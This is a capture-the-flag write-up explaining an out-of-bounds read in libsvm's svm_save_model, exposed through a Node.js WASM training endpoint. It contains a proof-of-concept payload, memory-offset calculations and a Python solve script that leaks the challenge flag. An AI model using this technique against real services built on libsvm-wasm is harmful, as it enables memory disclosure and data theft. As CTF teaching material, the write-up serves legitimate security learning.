Zero Day Pwnable
The app has a single endpoint, /api/train
. It initializes the SVM model, trains it on some samples, then saves the model to a .svm
file.
These functions are implemented using https://github.com/WenheLI/libsvm-wasm
, which in turn depends on https://github.com/cjlin1/libsvm.git
.
The WenheLI/libsvm-wasm
library provides a C wrapper that interfaces between JS and WASM in libsvm-wasm.c
.
Most of the functions here are simple and just call other functions in cjlin1/libsvm
, such as
svm_load_model
svm_train
svm_save_model
I decided to take a look at svm_save_model
as its output, the exported .svm
file, is actually returned to us in the HTTP response. This will be helpful if we are able to leak the flag.
Vulnerability
static const char *svm_type_table[] =
{
"c_svc","nu_svc","one_class","epsilon_svr","nu_svr",NULL
};
static const char *kernel_type_table[]=
{
"linear","polynomial","rbf","sigmoid","precomputed",NULL
};
int svm_save_model(const char *model_file_name, const svm_model *model)
{
FILE *fp = fopen(model_file_name,"w");
// ...
const svm_parameter& param = model->param;
fprintf(fp,"svm_type %s\n", svm_type_table[param.svm_type]); // OOB 1
fprintf(fp,"kernel_type %s\n", kernel_type_table[param.kernel_type]); // OOB 2
// ...
}
Immediately, we can spot two trivially exploitable array out-of-bounds access vulnerabilities.
There is no bounds checking for param.svm_type
and param.kernel_type
before they are used to index into their respective char*
arrays.
This can be verified using a simple payload:
{
"data": [[1, 0], [0, 1]],
"labels": [1, -1],
"params": {
"svm_type": 10000,
"kernel_type": 0,
"C": 1
}
}
In the response, we see that the svm_type
is (null)
:
svm_type (null)
kernel_type linear
nr_class 2
total_sv 0
rho 0
label 1 -1
nr_sv 0 0
SV
Exploitation
To investigate this further, I modified the Dockerfile to start nodejs in debug mode and attached the Chrome nodejs debugger:
CMD [ "node", "--inspect=0.0.0.0:9229", "index.js"]
This allowed me to inspect the memory layout of the wasm module.
I then set a breakpoint at the start of the svm_save_model
and sent a simple request.
This allows us to capture the WASM memory object into a JavaScript global variable using the Chrome DevTools.
I got a LLM to write a function to search the WASM memory:
function searchWasmMemoryBytes(wasmMemory, pattern, startOffset = 0, endOffset) {
// Get the memory buffer as a Uint8Array
const memoryBuffer = new Uint8Array(wasmMemory.buffer);
const memorySize = memoryBuffer.length;
// Validate parameters
if (startOffset < 0 || startOffset >= memorySize) {
throw new Error(`Start offset ${startOffset} is out of bounds`);
}
if (endOffset === undefined) {
endOffset = memorySize;
}
if (endOffset > memorySize || endOffset <= startOffset) {
throw new Error(`End offset ${endOffset} is invalid`);
}
// Convert pattern to Uint8Array
let searchBytes;
if (typeof pattern === 'string') {
// Handle hex string input
const hexPattern = pattern.replace(/[^0-9A-Fa-f]/g, ''); // Remove non-hex chars
if (hexPattern.length % 2 !== 0) {
throw new Error('Hex string must have even number of characters');
}
searchBytes = new Uint8Array(hexPattern.length / 2);
for (let i = 0; i < hexPattern.length; i += 2) {
searchBytes[i / 2] = parseInt(hexPattern.substr(i, 2), 16);
}
} else if (pattern instanceof Uint8Array) {
searchBytes = pattern;
} else if (Array.isArray(pattern)) {
// Validate byte values
for (let i = 0; i < pattern.length; i++) {
if (!Number.isInteger(pattern[i]) || pattern[i] < 0 || pattern[i] > 255) {
throw new Error(`Invalid byte value at index ${i}: ${pattern[i]}`);
}
}
searchBytes = new Uint8Array(pattern);
} else {
throw new Error('Pattern must be a number array, Uint8Array, or hex string');
}
if (searchBytes.length === 0) {
return [];
}
const results = [];
const patternLength = searchBytes.length;
// Search through memory
for (let i = startOffset; i <= endOffset - patternLength; i++) {
let found = true;
// Check if the pattern matches at this position
for (let j = 0; j < patternLength; j++) {
if (memoryBuffer[i + j] !== searchBytes[j]) {
found = false;
break;
}
}
if (found) {
results.push(i);
}
}
return results;
}
Let's check for the start of the svm_type_table
array:
searchWasmMemoryBytes(temp1.$memory, "635f737663") // 635f737663 == b"c_svc".hex()
// [2530]
searchWasmMemoryBytes(temp1.$memory, "e209") // e209 == (2530).to_bytes(2, 'little').hex()
// [22752]
So we know that svm_type_table
starts at address 22752 or 0x58e0.
What about the flag?
searchWasmMemoryBytes(temp1.$memory, "464c41473d") // b"FLAG=".hex()
// [91613]
searchWasmMemoryBytes(temp1.$memory, "dd650100") // dd650100 == (91613).to_bytes(4, 'little').hex()
// [91508]
Now, to leak the flag, we just need to compute (91508-22752)/4
which is 17189. This will be the svm_type
that points to a pointer to the flag.
Solve script
import requests
url = "http://159.223.33.156:9103/api/train"
payload = {
"data": [[1, 0], [0, 1]],
"labels": [1, -1],
"params": {
"svm_type": 17189,
"kernel_type": 0,
"C": 1
}
}
response = requests.post(url, json=payload, timeout=10)
print(response.text)
Flag:
svm_type FLAG=flag{a7866720ad35a8814ad482249c6d7be63a36e3c1fda47d90a85381494aa5edf3}
kernel_type linear
nr_class 2
total_sv 0
rho 0
label 1 -1
nr_sv 0 0
SV